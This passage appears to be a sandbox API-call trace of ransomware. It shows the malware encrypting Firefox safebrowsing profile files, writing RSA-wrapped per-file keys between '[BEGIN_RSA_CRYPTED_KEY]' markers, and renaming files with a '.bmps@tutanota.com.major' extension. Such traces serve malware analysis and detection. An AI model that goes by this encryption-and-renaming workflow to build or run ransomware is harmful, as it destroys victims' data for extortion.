lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.360] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40600*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.360] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.360] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.360] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.361] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.361] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EUZCGErjAsKLbLlA0fttqva1uGwepqAtZaikOZLT++avhbP6f/ByHM99VYuVsQy1\nKoiL20VWxXLMv93vYxE/odGoa0m5EyMSIG0e/772ZHD7+cvGMNL5CQJfK14Cbbi4\niW1LR40uu9KgcYc0gAIe8bkI9dqmUzH1uV171S9MXyZbCBqwJKyqFUm4wCh/8rV8\n0jFkoV6a3Nun8MMO2+ZBbzDGCkD1VzScv6hM1Uk3Ype0aZF3mYNkb8WMhlsXUewz\nuPdoApkWGIWCXobONNc8AMIMiNc1noeHCrrB2g8axxTk+vbWfxUxfvPIEkR54alD\nytgBnWQeEIGMg3US/2oyMA==\n", pcchString=0x2e3f9a8) returned 1 [0241.361] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.361] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.361] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.361] CloseHandle (hObject=0x1a54) returned 1 [0241.361] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.362] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.363] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.363] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=272) returned 1 [0241.363] ReadFile (in: hFile=0x1a54, lpBuffer=0x66a5b8, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66a5b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x110, lpOverlapped=0x0) returned 1 [0241.364] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.364] WriteFile (in: hFile=0x1a54, lpBuffer=0x66af90*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66af90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x110, lpOverlapped=0x0) returned 1 [0241.364] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x110 [0241.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.364] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.365] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.365] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.365] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.365] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dbEqphy/oUuGJjOV8WuVEWDGcE82BgVHe94k0aXF57F6al6tn/WgMQEFfuPEMs9S\nob2SvKijilkGmAY3rP2JxkAE5s+FK5NeBu6MqocJhUlQEeRQqbrmr/BGIRrYrEjr\nBrVsPrq5Qw4bGSPcx3O0Daj6kPXdOBz4z8MXXypqo6T+FsmKmcHQmuDO5NupqiK/\n1Dido1ZnQ5afQN92CLOcQwyn7UfC7mBMPGvGcooZpSKseuM2NK19kciU/KS9JXiL\nJBuzKVdMh4Cbo9iy4uEg+knmfh+NJ1B0Lsa7OZ1HulE21l0+HlxbDMCSIopLAQJp\nwJi0ul8B8NX5NcFlcGZTnw==\n", pcchString=0x2e3f9a8) returned 1 [0241.365] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.366] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.366] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.366] CloseHandle (hObject=0x1a54) returned 1 [0241.366] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.367] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.367] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset", dwFileAttributes=0x80) returned 1 [0241.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.368] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.368] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e405e8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e405e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.369] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.369] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40438*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40438*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.369] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.369] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.369] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.369] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hDN7bHgHGogB3q3KSMMPK8eur9zNNczid1eYmyf4h/OB8amDMUyiyhZrgrZrM5Lv\nG0lu/niNbCJAIYRthjKMcoNQCi5p0Kbce1+txevoi7hxt/Q4LongvrHvCVL5Q/Rv\nLDgyLPhhBIGaAGt+To8PiwWDFjGV6tItZQ5MFluAk2ZErdsBrzt1TJnNfc9fwxsj\nagtqdwsZjfZdUfXofjhCqOSLb4vMh5pjxeK33ZdcAzvnQer8MOP6ta8cK3T/FrFc\ntQ+gcNC12Tw92d3F0b3UtxgA5ppLcwngnrLQHn1Tpa6+AHqo/d28r6ym+B+ayklJ\nSNmz9QWrKarEVnkVpMw/nQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.369] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.370] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.370] CloseHandle (hObject=0x1a54) returned 1 [0241.370] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.378] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.378] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.379] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.379] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.379] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.380] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.380] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.380] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.380] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.380] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.380] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.381] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.381] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.381] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2xUVzBPJzmVALEGf1Ydm3JkFS4GBVCoo2WSjtd3bQCJAFGe2iTAJVVfbBGCj1wg8\nn7m8zwf20qegE1aQ/A5VN7T+7n21i+V7NoarOSbH2b09q4/Otr0c+nnsS0/E8VLN\nC8dHtp/xwmbK4bnAVzi21n2EezPHXqi8XiEJ39qXZ0hXR/Np1HgahH4FD+jvjMLa\nKK6thu/FW1HZfwJw3xAilh8/RWnT/UC2mCPbrXgDWGct5DYSmyqkX7v42LBtAGmt\nlIoZrnCB7I5BtYkzbk4LMiP8f3iTN8csJjht+RG50jOXkjqi5C5fxNNvPaFYpKR9\nigK7NI4DiL/fD7GvlNt4eg==\n", pcchString=0x2e3f9a8) returned 1 [0241.381] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.381] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.382] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.382] CloseHandle (hObject=0x1a54) returned 1 [0241.382] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.383] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.383] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset", dwFileAttributes=0x80) returned 1 [0241.384] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.385] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.385] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40408, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40408*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.385] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.385] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40630*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.386] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.386] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.386] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.386] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.386] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.386] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="w0VXFqcUC7rpm3oGI8L6kK8BRpYCGMlYpa6Pu8I6EmL9lJjZnOE6O3uPkcEwBMM8\nsrxFV/W0A6jrRMuNsMBvGzAAbi23EFM65MxRmQxn4g+J2CKXBoNzoygdRyeSD8oW\nCyUhL50ogaVDJNCK0FdIWUjv+hm9dbbwCc3KXVT2WuI3XAdHgbKzdmMo5FDB3H5t\ngNgWWPgJZRWZhM/kEA21M+OLFIkIddDuBaYVrbUc4wa3s1rh8c8GYt99v2W6psF1\nplxmsVx9Ys5V+IdvW63MNnCcN76zSdXB0gvNrvhEe1uQetzoVzYnBHO7D6hm+/8/\n5MFMDivI9aTXpxVsrhxgDg==\n", pcchString=0x2e3f9a8) returned 1 [0241.386] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.386] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.387] CloseHandle (hObject=0x1a54) returned 1 [0241.387] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-phish-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.389] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.389] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.389] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.389] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.389] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.390] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.390] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.390] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.390] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.390] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.391] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.391] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: 